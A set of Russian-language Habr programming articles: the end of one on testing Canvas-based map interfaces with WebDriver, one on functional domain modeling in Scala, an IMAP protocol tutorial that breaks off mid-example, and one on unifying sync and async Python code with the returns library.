Как я уже сказал выше, тестирование интерфейса мы рассмотрим в контексте API Яндекс.Карт. Поэтому давайте посмотрим, с чем, собственно, нам приходится взаимодействовать в тестах.
Результатом работы API является карта, похожая на слоёный пирог. Самый первый, нижний, слой — схема местности. Над ней — слой графики. Это различные маршруты, линии линейки и даже метки, которые могут быть отображены и с помощью отличных от Canvas DOM элементов. Третьим идёт слой событий, над которым уже расположены всевозможные элементы управления картой (кнопки, выпадающие меню, поля ввода, слайдеры и прочее).
В этом «пироге» нас интересует взаимодействие со слоем графики, так как остальные части интерфейса представлены в виде отдельных DOM элементов и кликнуть по ним с помощью WebDriver не составит труда. Пользователи API Яндекс.Карт могут сказать: «Так у вас же есть API для всех графических объектов, взаимодействуйте с элементами на Canvas через него».
И именно такой подход используется многими инженерами для работы с объектами на Canvas. Но у него есть одна проблема — он далек от реальных действий пользователя. Обычный человек не вызывает в консоли `click()` у JavaScript объекта, отвечающего за отображение маршрута на карте. Он просто берет и кликает мышкой в изображение. Работоспособность метода `click()` не гарантирует корректность обработки реального клика. Поэтому мы пошли своим, альтернативным путём.
Чтобы понять, как лучше взаимодействовать с Canvas, надо знать как сама программа понимает, по какому объекту кликнул пользователь. В случае с API Яндекс.Карт применяется [технология активных областей](http://api.yandex.ru/maps/doc/jsapi/2.x/dg/concepts/about-hotspots.xml). Нечто подобное используется везде, где на Canvas есть интерактивные элементы.
###### Общий алгоритм технологии активных областей:
1. Программа хранит в себе информацию обо всех элементах, нарисованных на Canvas, об их пиксельных координатах.
2. Она отлавливает события мыши, происходящие над графическими объектами. Это можно делать прямо на Canvas. В нашем же случае над слоем графики есть специальный прозрачный слой событий, накрывающий её всю.
3. Координаты события мыши соотносятся с координатами объектов, и если событие произошло над каким-то объектом, то для него вызывается соответствующий обработчик.
Получается, что нам не нужен конкретный графический объект — нужно только подобрать координаты события и кинуть его на Canvas или некий слой событий. Но сделать это не так-то просто. Допустим, нам надо кликнуть в метку. Определить на глаз её координаты — непростая задача.
Если опираться на пиксели, то в случае с объектом Canvas размером 512 на 512 у нас получается 512х512 точек взаимодействия. Многовато. Чтобы облегчить себе жизнь, разделим Canvas на условные квадраты, а для еще большего удобства отобразим их полупрозрачным фоном над Canvas, чтобы инженер по тестированию мог видеть их глазами. Мы выбрали размер стороны квадрата равный 32 пикселям.
Теперь отчетливо видно: для того чтобы кликнуть в метку, необходимо кликнуть в центр квадрата с координатами [11, 11]. Зная размер стороны квадрата, эти координаты легко преобразуются в обычные пиксельные, с которыми и будет вызван клик по Canvas.
```
x = 11 * 32 + 32 / 2;
y = 11 * 32 + 32 / 2;
click(x, y); // click(368, 368);
```
Стоит отметить, что данный подход мы используем и для взаимодействия с элементами управления картой, хотя до них можно добраться и через DOM дерево. Сделано это для того, чтобы обращение ко всем элементам на карте было в одном стиле. К сожалению, WebDriver не умеет кидать события в произвольной точке окна, а только на конкретном элементе DOM дерева. Поэтому, прежде чем вызвать событие, определим элемент для взаимодействия. Делается это через метод `elementFromPoint(x, y)` объекта `document`. Если в этой точке кнопка, то событие бросится на ней, если графика — на Canvas.
#### Проверка результатов взаимодействия
Когда мы нажимаем кнопку, она меняет свой вид — происходит анимация нажатия. В тесте эту анимацию можно проверить, запросив значения атрибутов DOM элемента, отвечающие за внешний вид кнопки. Появился нужный класс — значит анимация произошла. В случае же с объектами, нарисованными на Canvas, все обстоит несколько иначе. Тут мы уже не можем запросить класс или позицию на странице. Данные атрибуты есть только у самого Canvas, но не у объектов, нарисованных на нем, потому что их нет в DOM-дереве. Так как же проверить, правильного ли цвета у нас линия и изменилось ли положение полигона после того, как мы его перетащили мышкой?
С одной стороны, можно запросить цвет и положение посредством обращения к JavaScript объектам, отображаемым на Canvas. Но, как вы помните, никто не гарантирует, что API нам не врёт. В коде может быть ошибка, и JavaScript нам скажет, что линия красная, а глазами мы будем видеть, что она — синяя.
Но и тут есть выход. Достаточно сравнить внешний вид стабильной версии интерфейса с тестируемой. Иными словами, сравнить снимки двух окон браузера. Мы это делаем следующим образом:
1. В один момент времени открываем обе версии интерфейса;
2. Обе версии открываются в одной версии браузера, в разных окнах;
3. Выполняем в обоих окнах одни и те же действия над интерфейсом;
4. В нужный момент делаем снимки окон и сравниваем их попиксельно.
Такой набор действий позволяет нам избавиться от ряда проблем, связанных со сравнением внешнего вида интерфейсов. Во-первых, тесты не зависят от информации, меняющейся со временем. Во-вторых, появляется устойчивость к браузерозависимой вёрстке. И в-третьих, не надо хранить эталонное изображение.
#### Отслеживание JavaScript ошибок
Последним пунктом нашего подхода к тестированию является отлов JavaScript ошибок. Тут, на первый взгляд, все просто: берём и используем метод onerror объекта window. Все хорошо в теории, но на практике у этого подхода есть [одна большая проблема](http://stackoverflow.com/questions/5913978/cryptic-script-error-reported-in-javascript-in-chrome-and-firefox). В случае если ошибка произошла на хосте, отличном от открытого в браузере, нам не удастся прочитать её текст. Что делать?
Есть два варианта:
* добавить в ответ сервера [специфический заголовок](http://enable-cors.org/server.html) ([работает не во всех браузерах](http://enable-cors.org/client.html)).
* использовать [плагин для Firefox](https://github.com/mguillem/JSErrorCollector), который собирает ошибки на уровне консоли браузера.
Что из этого выбирать, решать только вам. Оба варианта имеют право на жизнь.
#### Что в итоге?
Как оказалось, задача тестирования веб-интерфейса, работающего с использованием Canvas, решается вполне успешно с помощью обычного WebDriver'а. Но на данный момент мы решили не останавливаться на достигнутом и смотреть в сторону улучшения взаимодействия тестов с интерфейсами. Если сейчас мы бросаем JavaScript события на DOM элементах, то в будущем хотели бы делать это так же, как и пользователь. Мы планируем реальное управление мышкой и клавиатурой. Для этого будет использован awt.Robot. Следите за новостями! | https://habr.com/ru/post/177163/ | null | ru | null |
# Функциональные паттерны при моделировании предметной области – анемичные модели и компоновка поведений
Привет, Хабр! Не так давно в издательстве «Manning» вышла непростая, но долгожданная и выстраданная автором [книга](https://www.amazon.com/Functional-Reactive-Domain-Modeling-Debasish/dp/1617292249/) о функциональном моделировании предметных областей.
Поскольку у нас готовятся книги как по [Scala](https://www.amazon.com/Programming-Scala-Updated-2-12/dp/0981531687/), так и по [паттернам предметно-ориентированного проектирования](https://www.amazon.com/Patterns-Principles-Practices-Domain-Driven-Design/dp/1118714709/), опубликуем одну из статей сахиба Гоша об идеях, заложенных в его книгу, и спросим, насколько эта книга была бы вам интересна
Однажды я изучил [презентацию](https://www.slideshare.net/deanwampler/reactive-design-languages-and-paradigms) Дина Уомплера (Dean Wampler) по поводу предметно-ориентированного проектирования, анемичных предметных моделей и функционального программирования, которое позволяет сгладить некоторые из обозначенных проблем. Полагаю, от некоторых тезисов Уомплера ООП-программисты могли бы содрогнуться. Они противоречат общепринятым убеждениям, согласно которым предметно-ориентированное проектирование должно выполняться прежде всего средствами ООП.
Озвучу мысль, с которой я категорически согласен — "*DDD стимулирует вас разобраться в предметной области, но не помогает в реализации моделей*". DDD действительно отлично помогает разработчикам освоить предметную область, с которой приходится иметь дело и выработать общую терминологию, которая будет использоваться в ходе всего проектирования и реализации приложения. Примерно такую роль играют и паттерны проектирования – обеспечивают терминологический аппарат, при помощи которого можно по существу объяснить разработчикам задачу, не вдаваясь в детали ее реализации.
С другой стороны, когда пытаешься реализовать концепции DDD при помощи стандартных приемов ООП, где состояние сопряжено с поведением, зачастую получается путаная изменяемая модель. Модель может быть насыщенной в том смысле, что все аспекты конкретной абстракции, взятой из предметной области, могут быть заложены в моделируемый класс. Но в таком случае класс становится непрочным, поскольку абстракция выходит чрезмерно локальной, ей недостает глобальных возможностей по части многократного использования и компонуемости. В результате, когда мы пытаемся скомпоновать множество абстракций на уровне сервисов предметной области, этот уровень переполняется мусорным склеивающим кодом – такой код нужен, чтобы справиться с рассогласованием нагрузки (impedance mismatch) между границами классов.
Поэтому, когда Дин утверждает "*Модели должны быть анемичны*" – думаю, он призывает избегать такой спутанности состояния и поведения в объекте предметной области, которая к тому же дает ложное ощущение безопасности и насыщенности модели. Он рекомендует писать объекты предметной области так: они должны обладать состоянием лишь в том случае, если поведения моделируются при помощи автономных функций.
> Иногда красивая реализация – это просто функция. Не метод. Не класс. Не каркас. Просто функция.
>
> Джон Кармак
Есть еще один неуклюжий аргумент, который попадается мне довольно часто: состояние спутывается с поведением в процессе моделирования последнего по мере того, как нарастает инкапсуляция методов в классе. Если вы до сих пор придерживаетесь такой философии, отсылаю вас к великолепной [статье](http://www.drdobbs.com/cpp/how-non-member-functions-improve-encapsu/184401197) Скотта Мейера, написанной еще в 2000 году. Он отказывается считать, что класс – это и есть нужный уровень модуляризации, и рекомендует писать более мощные системы модулей, так как в модулях удобнее хранить поведения предметной области.
Вот анемичная предметная модель абстракции `Order`…
```
case class Order(orderNo: String, orderDate: Date, customer: Customer,
lineItems: Vector[LineItem], shipTo: ShipTo,
netOrderValue: Option[BigDecimal] = None, status: OrderStatus = Placed)
```
[Ранее](http://debasishg.blogspot.ru/2014/04/functional-patterns-in-domain-modeling.html) я [писал](http://debasishg.blogspot.ru/2014/03/functional-patterns-in-domain-modeling.html), как реализуются паттерны DDD Specification и Aggregate при помощи принципов функционального программирования. Кроме того, мы обсуждали, как делать функциональные обновления агрегатов при помощи таких структур данных как Lens. В этой статье мы воспользуемся ими в качестве строительных элементов, применим более функциональные паттерны и реализуем более крупные поведения, моделирующие язык предметной области. В конце концов, один из базовых принципов DDD – поднимать словарь предметной области на уровень реализации, так, чтобы функциональность была очевидна для разработчика, занимающегося поддержкой модели.
Основная идея – проверить, на самом ли деле при создании поведений предметной области в виде автономных функций дает эффективную модель предметной области в соответствии с принципами DDD. Базовые классы модели содержат только такие поведения, изменить которые можно функциональными средствами. Все поведения предметной области моделируются при помощи функций, находящихся в модуле, представляющем агрегат.
Функции компонуются, и именно таким образом мы собираемся сцеплять поведения предметной области и выстраивать крупные абстракции из более мелких. Вот небольшая функция, оценивающая Order. Обратите внимание: она возвращает `Kleisli`, что фактически обеспечивает нам композицию поверх монадных функций. То есть, вместо компоновки `a -> b` и `b -> c`, а именно так мы бы и поступили при обычной компоновке функций, мы делаем то же самое с `a -> m b` и `b -> m c`, где `m` – монада. Композиция с эффектами, если можно так выразиться.
```
def valueOrder = Kleisli[ProcessingStatus, Order, Order] {order =>
val o = orderLineItems.set(
order,
setLineItemValues(order.lineItems)
)
o.lineItems.map(_.value).sequenceU match {
case Some(_) => right(o)
case _ => left("Missing value for items")
}
}
```
Но что это нам дает? Что конкретно мы приобретаем благодаря функциональным паттернам? Мы получаем возможность выделять семейства схожих абстракций, например, аппликативы и монады. Звучит несколько отвлеченно, пожалуй, для обоснования такого подхода нужна отдельная статья. Проще говоря, они инкапсулируют эффекты и побочные эффекты вычислений, так, что вы можете сосредоточиться на реализации модели как таковой. Взгляните на функцию process ниже – вот вам и композиция монадных функций на практике. Но вся начинка, обеспечивающая обработку эффектов и побочных эффектов, абстрагируется в `Kleisli`, поэтому реализация на уровне пользователя получается простой и лаконичной.
`Kleisli` демонстрирует весь потенциал компоновки монадных функций. Любое поведение в предметной области может отказать, и отказ моделируется при помощи монады `Either` – здесь `ProcessingStatus`– просто псевдоним типа для `..type ProcessingStatus[S] = \/[String, S]`. Работая с `Kleisli`, не приходится писать никакого кода для обработки отказов. Ниже вы можете убедиться, что композиция совершенно похожа на обычные функции, альтернативные потоки выполнения учтены на уровне паттерна.
Когда `Order` оценен, нужно применить скидки к входящим в него товарам. Это еще одно поведение, реализованное в соответствии с тем же паттерном, что и `valueOrder`.
```
def applyDiscounts = Kleisli[ProcessingStatus, Order, Order] {order =>
val o = orderLineItems.set(
order,
setLineItemValues(order.lineItems)
)
o.lineItems.map(_.discount).sequenceU match {
case Some(_) => right(o)
case _ => left("Missing discount for items")
}
}
```
Наконец, подсчитываем стоимость заказа `Order`…
```
def checkOut = Kleisli[ProcessingStatus, Order, Order] {order =>
val netOrderValue = order.lineItems.foldLeft(BigDecimal(0).some) {(s, i) =>
s |+| (i.value |+| i.discount.map(d => Tags.Multiplication(BigDecimal(-1)) |+| Tags.Multiplication(d)))
}
right(orderNetValue.set(order, netOrderValue))
}
```
А вот служебный метод, компонующий все вышеописанные поведения предметной области в одну большую абстракцию. Нам не приходится инстанцировать ни одного объекта. Просто компонуем функции, и в результате удается выразить весь поток событий. Код получился таким удобочитаемым и кратким именно потому, что сама абстракция определена совершенно четко.
```
def process(order: Order) = {
(valueOrder andThen
applyDiscounts andThen checkOut) =<< right(orderStatus.set(order, Validated))
}
```
Если вас интересует полный исходный код к этому примеру – отсылаю вас к моему [репозиторию](https://github.com/debasishg/scala-snippets/blob/master/src/main/scala/aggregate.scala) на github. | https://habr.com/ru/post/322528/ | null | ru | null |
# Gotta go fast. Быстрая синхронизация писем по IMAP
Привет! Меня зовут Илья. Два года назад я присоединился к работе над мобильным клиентом IMAP. Ранние версии приложения долго загружали список писем и тратили большое количество трафика для обновления ящика. Встал вопрос об оптимизации работы с протоколом и о возможностях этого протокола вообще. О протоколе я не знал ничего и погрузился в чтение документации. Оказывается, все это время клиент использовал протокол напролом и совсем не учитывал особенности реализации. Эти особенности помогли ускорить загрузку почты в 2 — 3 раза. О том что такое IMAP и какие есть фишки для его оптимизации дальше в моей статье.
Я не буду погружаться в протокол слишком глубоко. Статья скорее из разряда «Хотел бы я прочитать эту статью два года назад». Гуру IMAP вряд ли найдут для себя новую информацию. Статья опирается на описание протокола из документа [RFC 3501](https://tools.ietf.org/html/rfc3501).
Подключение к серверу
=====================
IMAP — протокол с состояниями. Для меня это было открытием, до этого я не видел и не работал с такими протоколами. Рассмотрим схему работы с сервером.
Пойдем по порядку, а главное, с примерами. Для начала нужно создать соединение с сервером. Для этого воспользуемся библиотекой openSSL.
```
openssl s_client -connect imap.server.com:993 -crlf
```
Отлично, соединение установлено и можно наблюдать ответ OK со строчкой, которая начинается с ответа CAPABILITY
```
OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SPECIAL-USE AUTH=PLAIN AUTH=LOGIN]
```
По каждому из CAPABILITY существует удобная [шпаргалка](https://www.iana.org/assignments/imap-capabilities/imap-capabilities.xhtml), где со ссылками на RFC выписаны все возможные значения CAPABILITY. Например, IMAP4rev1 говорит клиенту о том, что сервер работает по стандарту IMAP4, а IDLE сигнализирует о том, что можно подписаться на изменения, происходящие в ящике.
Авторизация на сервере
======================
После подключения к серверу нужно зайти в свой ящик. Делается это с помощью команды LOGIN
```
a1 LOGIN email pass
```
*Так, стоп, логин я понимаю а а1 это что такое? —* Возможно спросите вы. А это тэг команды. В интересах клиента тэги должны быть разные, так как ответ прилетает с тем же тегом, что и запрос, а значит его можно сопоставить для парсинга между командами. Также сервер может вернуть ответ со звездочкой в начале, как например \* OK, это называется untagged response. В основном, такой ответ возвращается для команд, которые ожидают в ответе несколько сущностей, например LIST.
Запрос списка папок
===================
Чтобы запросить список писем в папке нужно сначала эти папки узнать. Делается это командой LIST. Эта команда возвращается список папок на сервере.
```
A2 LIST «» *
* LIST (\HasNoChildren \Trash) «/» Trash
* LIST (\HasNoChildren \Sent) «/» Sent
* LIST (\HasNoChildren \Drafts) «/» Drafts
* LIST (\HasNoChildren \Junk) «/» Junk
* LIST (\HasNoChildren) «/» INBOX
A2 OK List completed (0.001 + 0.000 + 0.001 secs).
```
Первый параметр в команде — namespace. Если сервер поддерживает namespace, то его значения можно запросить с помощью запроса NAMESPACE. Стандартный namespace выглядит как пустая строка. Далее в дело вступает параметр wildcards. С его помощью мы можем сказать серверу какие папки нам нужно вернуть. Например мы можем получить: ветку дерева папок, только корни, или вообще все, как в примере выше. Лучше так не делать, потому что кто знает сколько у пользователя папок в ящике. Авторы протокола рекомендуют использовать «%» — в таком случае вы получите все папки верхнего уровня из ящика.
Из ответа мы понимаем что это untagged-ответ где каждая строчка — это ваши папки в ящике. Сначала идут флаги, по которым мы читаем метаинформацию папки, например, в примере у всех папок нет потомков и некоторые папки специального назначения (такие как Trash, Junk и др.). Дальше идет символ с разделителем папок. Этот символ используется для вложенных папок. Например для потомка папки Trash имя выглядело бы как «Trash/New Folder». После всех папок сервер вернет нам ОК с тегом, который мы присвоили команде и временем выполнения этой команды.
Выбор папки
===========
Далее по схеме, мы должны выполнить выбор папки, из которой подтянем наши сообщения. Делается это с помощью команды SELECT
```
4 SELECT INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft $Forwarded $MDNSent)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft $Forwarded $MDNSent \*)] Flags permitted.
* 16337 EXISTS
* 2 RECENT
* OK [UNSEEN 6037] First unseen.
* OK [UIDVALIDITY 1532079879] UIDs valid
* OK [UIDNEXT 17412] Predicted next UID
* OK [HIGHESTMODSEQ 21503] Highest
4 OK [READ-WRITE] Select completed (0.015 + 0.000 + 0.014 secs).
```
При выборе папки возвращается вся информация о ней. Пойдем по порядку.
* Ответ с флагами, которые разрешены внутри папки для писем.
* Ответ с флагами который клиент может изменить навсегда
* Ответ с количеством писем в папке
* Ответ с количеством recent писем, то есть тех, которые мы получили между выборами папок
* Ответ с количеством непросмотренных писем
Ну и пока остановимся на этом. Остальная информация нам пока не нужна.
Запрос писем
============
Теперь самое интересное — запрос писем. Здесь нужно быть крайне осторожным, особенно на мобильных клиентах. Согласитесь, вряд ли захочется при входе в приложение получать тысячи сообщений от сервера к себе в базу. Мало того, нет смысла загружать всё письмо целиком, так как это может быть нецелесообразно для отображения, например, списка всех писем. Допустим, чтобы быстро показать пользователю письма, мы запросим только «конверт». В этом конверте мы хотим увидеть: отправителя, получателя, тему письма и дату отправки. Будем загружать 10 первых сообщений.
```
5 FETCH 16337:16327 (ENVELOPE)
```
Через двоеточие перечисляется отрезок номеров писем, которые мы хотим получить, а в скобках то, что мы хотим из этих писем прочитать, в данном случае конверт письма.
Ответ приведу в сокращенном виде:
```
* 16334 FETCH (ENVELOPE ("Sat, 07 Sep 2019 23:07:48 +0000" "Hello from Fabric.io" (("Fabric" NIL "notifier" "fabric.io")) (("Fabric" NIL "notifier" "fabric.io")) (("Fabric" NIL "notifier" "fabric.io")) ((NIL NIL "me" "me@mail")) NIL NIL NIL "<5d7438441b07c_2d872ad30967b9646405c6@answers-notifier2012.mail>"))
```
Понятно, что ничего не понятно. А всё дело в том, что формат конверта диктуется [RFC 2822.](https://tools.ietf.org/html/rfc2822) Его я не буду рассматривать в данной статье. В этом конверте есть вся необходимая информация: дата получения письма, тема письма, отправитель, получатель и даже messageId. Его клиенты используют для отображения цепочки писем.
Итак, мы смогли показать пользователю базовую информацию о письме, а как же тело?
Мы можем сразу скачать всё тело письма, независимо от его размеров, это конечно недолго но тем не менее затратно по сети и памяти. Кстати делается это всё той же командой FETCH
```
6 FETCH 16337:16327 (BODY[])
```
Попробуйте на своих входящих такую команду, и вы поймете что я имел в виду под «затратно», даже с 10 сообщениями мы получаем достаточно объемный ответ с абсолютно всей информацией о письме. Кстати о ней.
Часто ли вы скачивали исходник письма в любом известном вам клиенте, чтобы посмотреть как он выглядит в первозданном виде? Если нет, то давайте распотрошим тестовое письмо. В него я добавил картинку прямо в письмо и картинку как вложение. Сохраним его в формате eml, и затем откроем любым текстовым редактором. В зависимости от клиента, вы получите разные исходники письма, но в целом они будут похожи.
Начнем с заголовка письма:
```
Return-Path:
Delivered-To:myemail
Received: from localhost (localhost [127.0.0.1])
byimap.server.com (imap.server.com) with ESMTP id 6C2BE2A0363
for ; Sun, 8 Sep 2019 23:41:29 +0300 (MSK)
X-Virus-Scanned: amavisd-new at imap.server.com
Received: from imap.server.com ([127.0.0.1])
by localhost ( imap.server.com [127.0.0.1]) (amavisd-new, port 10026)
with ESMTP id abx8HQQT\_k5A for ;
Sun, 8 Sep 2019 23:41:29 +0300 (MSK)
Mime-Version: 1.0
Date: Sun, 08 Sep 2019 20:41:28 +0000
Content-Type: multipart/mixed;
boundary=»--=\_Part\_722\_554093397.1567975288»
Message-ID: <9e4e3872e603eac2c20f26bb1d65548d>
From: "Me"
Subject: Hey, Habr!
To: myemail
X-Priority: 3 (Normal)
```
В заголовке письма описана вся метаинформация, от кого, кому, когда, тип контента письма, тема и приоритет письма. Поле boundary указывает на границу письма.
Дальше поймете, что это значит.
```
----=_Part_722_554093397.1567975288
Content-Type: multipart/related;
boundary=»--=_Part_583_946112260.1567975288»
----=_Part_583_946112260.1567975288
Content-Type: multipart/alternative;
boundary=»--=_Part_881_599167713.1567975288»
----=_Part_881_599167713.1567975288
Content-Type: text/plain; charset=«utf-8»
Content-Transfer-Encoding: quoted-printable
----=_Part_881_599167713.1567975288
Content-Type: text/html; charset=«utf-8»
Content-Transfer-Encoding: quoted-printable
![](3D"cid:jua-uid-q1nz1guinitrcfd3-1567975257318")
----=_Part_881_599167713.1567975288--
----=_Part_583_946112260.1567975288
Content-Type: image/jpeg; name=«2018-09-04 22.46.36.jpg»
Content-Disposition: inline; filename=«2018-09-04 22.46.36.jpg»
Content-ID:
Content-Transfer-Encoding: base64
``` | https://habr.com/ru/post/492074/ | null | ru | null |
# Какая асинхронность должна была бы быть в Python
В последние несколько лет ключевое слово `async` и семантика асинхронного программирования проникла во многие популярные языки программирования: [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function), [Rust](https://doc.rust-lang.org/std/keyword.async.html), [C#](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await), и [многие другие](https://en.wikipedia.org/wiki/Async/await). Конечно, в Python тоже есть `async/await`, они появились в Python 3.5.
В этой статье хочу обсудить проблемы асинхронного кода, порассуждать об альтернативах и предложить новый подход поддерживать и синхронные, и асинхронные приложения одновременно.
Цвет функций
------------
Когда в язык программирования включают асинхронные функции, он по сути раскалывается надвое. Появляются **красные функции** (или асинхронные), а некоторые функции остаются **синими** (синхронными).
Основная проблема в том, что синие функции не могут вызывать красные, но красные потенциально могут вызвать синие. В Python, например, это частично так: асинхронные функции могут вызывать только синхронные неблокирующие функции. Но определить по описанию, блокирующая функция или нет, невозможно. Python же скриптовый язык.
Этот раскол приводит к разделению языка на два подмножества: синхронное и асинхронное. Python 3.5 вышел больше пяти лет назад, но `async` все еще поддерживается далеко не так хорошо, как синхронные возможности Python.
Больше о цветах функции можно прочитать в этой [замечательной статье](http://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/).
Дублирование кода
-----------------
Разные цвета функций на практике означают дублирование кода.
Представьте, вы разрабатываете CLI-инструмент для извлечения размера веб-страницы и хотите поддерживать и синхронный, и асинхронный способы его работы. Например, это нужно, если вы пишете библиотеку и не знаете, как будет использоваться ваш код. И речь не только о библиотеках PyPI, но и о собственных библиотеках с общей логикой для разных сервисов, написанных, например, на Django и aiohttp. Хотя, конечно, независимые приложения в основном пишутся или только синхронно, или только асинхронно.
Начнём с синхронного псевдокода:
```
def fetch_resource_size(url: str) -> int:
response = client_get(url)
return len(response.content)
```
Выглядит хорошо. Теперь посмотрим на асинхронный аналог:
```
async def fetch_resource_size(url: str) -> int:
response = await client_get(url)
return len(response.content)
```
В целом, это тот же самый код, но с добавлением слов `async` и `await`. И я это не выдумал — сравните примеры кода в туториале по httpx:
* [синхронный код](https://www.python-httpx.org/quickstart/);
* [асинхронный код](https://www.python-httpx.org/async/).
Там точно такая же картина.
Абстракция и композиция
-----------------------
Получается, нужно переписать весь синхронный код и расставить тут и там `async` и `await`, чтобы программа стала асинхронной.
В решении этой проблемы могут помочь два принципа. Во-первых, перепишем императивный псевдокод в функциональный. Это позволит увидеть картину более ясно.
```
def fetch_resource_size(url: str) -> Abstraction[int]:
return client_get(url).map(
lambda response: len(response.content),
)
```
Вы спросите, что это за метод `.map`, что он делает. Так в функциональном стиле происходит композиция сложных абстракций и чистых функций. Это позволяет создать новую абстракцию с новым состоянием из существующей. Предположим, `client_get(url)` изначально возвращает `Abstraction[Response]`, а вызов `.map(lambda response: len(response.content))` преобразует ответ в требуемый экземпляр `Abstraction[int]`.
Становится понятно, что делать дальше. Обратите внимание, как легко мы перешли от нескольких независимых шагов к последовательному вызову функций. К тому же мы изменили тип ответа: теперь функция возвращает некоторую абстракцию.
Перепишем код для работы с асинхронной версией:
```
def fetch_resource_size(url: str) -> AsyncAbstraction[int]:
return client_get(url).map(
lambda response: len(response.content),
)
```
Единственное, что отличается, — это тип возвращаемого значения — `AsyncAbstraction`. В остальном код остался точно таким же. Больше не нужно использовать ключевые слова `async` и `await`. `await` не используется вообще (*ради этого всё и затевалось*), а без него нет смысла и в `async`.
Последнее, что требуется, это решить, какой клиент нам нужен: асинхронный или синхронный.
```
def fetch_resource_size(
client_get: Callable[[str], AbstactionType[Response]],
url: str,
) -> AbstactionType[int]:
return client_get(url).map(
lambda response: len(response.content),
)
```
`client_get` теперь является аргументом вызываемого типа, который получает на вход строку URL-адреса и возвращает некоторый тип `AbstractionType` над объектом `Response`. `AbstractionType` — либо `Abstraction`, либо `AsyncAbstraction` из предыдущих примеров.
Когда передаем `Abstraction`, код работает синхронно, когда `AsyncAbstraction` — тот же самый код автоматически начинает работать асинхронно.
IOResult и FutureResult
-----------------------
К счастью, в [`dry-python/returns`](https://github.com/dry-python/returns) уже есть правильные абстракции.
Позвольте представить вам типобезопасный, дружелюбный к mypy, не зависящий от фреймворка, полностью написанный на Python инструмент. В нём есть потрясающие, удобные, замечательные абстракции, которые можно использовать абсолютно в любом проекте.
### Синхронный вариант
Сначала поставим зависимости, чтобы получить воспроизводимый пример.
```
pip install returns httpx anyio
```
Далее превратим псевдокод в рабочий код на Python. Начнем с синхронного варианта.
```
from typing import Callable
import httpx
from returns.io import IOResultE, impure_safe
def fetch_resource_size(
client_get: Callable[[str], IOResultE[httpx.Response]],
url: str,
) -> IOResultE[int]:
return client_get(url).map(
lambda response: len(response.content),
)
print(fetch_resource_size(
impure_safe(httpx.get),
'https://sobolevn.me',
))
# => >
```
Потребовалось изменить пару моментов, чтобы получился рабочий код:
* Использовать [`IOResultE`](https://returns.readthedocs.io/en/latest/pages/io.html) — функциональный способ обработки ошибок синхронного IO ([исключения не всегда подходят](https://habr.com/ru/company/oleg-bunin/blog/445234/)). Типы, основанные на `Result`, позволяют имитировать исключения, но с раздельными значениями `Failure()`. Успешные выходы при этом оборачиваются в тип `Success`. Обычно никому нет дела до исключений, а нам есть.
* Использовать [`httpx`](https://github.com/encode/httpx/), который может работать с синхронными и асинхронными запросами.
* Использовать функцию [`impure_safe`](https://returns.readthedocs.io/en/latest/pages/io.html#impure-safe), чтобы преобразовывать тип, который возвращает `httpx.get`, в абстракцию `IOResultE`.
### Асинхронный вариант
Попробуем сделать всё то же самое в асинхронном коде.
```
from typing import Callable
import anyio
import httpx
from returns.future import FutureResultE, future_safe
def fetch_resource_size(
client_get: Callable[[str], FutureResultE[httpx.Response]],
url: str,
) -> FutureResultE[int]:
return client_get(url).map(
lambda response: len(response.content),
)
page_size = fetch_resource_size(
future_safe(httpx.AsyncClient().get),
'https://sobolevn.me',
)
print(page_size)
print(anyio.run(page_size.awaitable))
# => >
# => >
```
Видите: результат точно такой же, но теперь код работает асинхронно. При этом его основная часть не изменилась. Однако нужно обратить внимание вот на что:
* Синхронный `IOResultE` изменился на асинхронный [`FutureResultE`](https://returns.readthedocs.io/en/latest/pages/future.html), `impure_safe` — на [`future_safe`](https://returns.readthedocs.io/en/latest/pages/future.html#future-safe). Работает так же, но возвращает другую абстракцию: `FutureResultE`.
* Используется `AsyncClient` из `httpx`.
* Результирующее значение `FutureResult` необходимо запустить, потому что красные функции не могут вызывать сами себя.
* Утилита [`anyio`](https://github.com/agronholm/anyio) используется, чтобы показать, что этот подход работает с любой асинхронной библиотекой: `asyncio`, `trio`, `curio`.
### Два в одном
Покажу, как объединить синхронную и асинхронную версию в одном типобезопасном API.
[Higher Kinded Types](https://github.com/dry-python/returns/blob/master/returns/primitives/hkt.py) и [type-class](https://github.com/dry-python/returns/blob/master/returns/interfaces/specific/ioresult.py) для работы с IO ещё не вышли в релиз (они появятся в 0.15.0), поэтому проиллюстрирую на обычном `@overload`:
```
from typing import Callable, Union, overload
import anyio
import httpx
from returns.future import FutureResultE, future_safe
from returns.io import IOResultE, impure_safe
@overload
def fetch_resource_size(
client_get: Callable[[str], IOResultE[httpx.Response]],
url: str,
) -> IOResultE[int]:
"""Sync case."""
@overload
def fetch_resource_size(
client_get: Callable[[str], FutureResultE[httpx.Response]],
url: str,
) -> FutureResultE[int]:
"""Async case."""
def fetch_resource_size(
client_get: Union[
Callable[[str], IOResultE[httpx.Response]],
Callable[[str], FutureResultE[httpx.Response]],
],
url: str,
) -> Union[IOResultE[int], FutureResultE[int]]:
return client_get(url).map(
lambda response: len(response.content),
)
```
С помощью декораторов `@overload` описываем, какие входные данные разрешены и какой при этом будет тип возвращаемого значения. Прочитать подробнее о декораторе `@overload` можно в другой моей [статье](https://sobolevn.me/2019/01/simple-dependent-types-in-python).
Вызов функции с синхронным или асинхронным клиентом выглядит так:
```
# Sync:
print(fetch_resource_size(
impure_safe(httpx.get),
'https://sobolevn.me',
))
# => >
# Async:
page\_size = fetch\_resource\_size(
future\_safe(httpx.AsyncClient().get),
'https://sobolevn.me',
)
print(page\_size)
print(anyio.run(page\_size.awaitable))
# => >
# => >
```
Как видите, `fetch_resource_size` в синхронном варианте сразу возвращает `IOResult` и выполняет его. В то время как в асинхронном варианте требуется event-loop, как для обычной корутины. `anyio` используется для вывода результатов.
У `mypy` к этому коду никаких замечаний нет:
```
» mypy async_and_sync.py
Success: no issues found in 1 source file
```
Посмотрим, что будет, если что-нибудь испортить.
```
---lambda response: len(response.content),
+++lambda response: response.content,
```
`mypy` легко находит новые ошибки:
```
» mypy async_and_sync.py
async_and_sync.py:33: error: Argument 1 to "map" of "IOResult" has incompatible type "Callable[[Response], bytes]"; expected "Callable[[Response], int]"
